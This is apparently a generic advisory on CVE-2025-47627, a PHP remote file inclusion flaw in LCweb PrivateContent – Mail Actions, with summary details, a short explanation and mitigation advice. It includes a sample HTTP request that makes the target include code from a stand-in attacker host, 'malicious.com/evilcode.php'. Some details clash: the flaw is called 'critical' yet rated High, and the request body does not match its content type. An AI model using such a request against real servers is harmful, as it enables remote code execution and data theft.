Overview
The CVE-2025-47627 is a critical vulnerability found in the LCweb PrivateContent – Mail Actions. This PHP Remote File Inclusion vulnerability can lead to system compromise or data leakage, posing a significant threat to any organization using versions up to 2.3.2 of the software. It underscores the importance of regular patching and cybersecurity vigilance.
Vulnerability Summary
CVE ID: CVE-2025-47627
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage
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Product | Affected Versions
LCweb PrivateContent – Mail Actions | up to 2.3.2
How the Exploit Works
The exploit works by taking advantage of an improper control of filename for include/require statement in the PHP program of LCweb PrivateContent – Mail Actions. This allows an attacker to include a remote PHP file from an external server, which will be executed in the context of the web application. This leads to a potential system compromise or data leakage.
Conceptual Example Code
Here’s a conceptual example of how the vulnerability might be exploited:
POST /vulnerable/endpoint.php?include=http://malicious.com/evilcode.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
{ "param": "value" }In the example above, the attacker uses a POST request to include a malicious PHP file (`evilcode.php`) hosted on their own server (`malicious.com`). The `evilcode.php` file is then executed locally on the vulnerable server, potentially leading to system compromise or data leakage.
Mitigation
Users are advised to apply patches provided by the vendor as soon as possible. As a temporary mitigation strategy, users can also employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability.
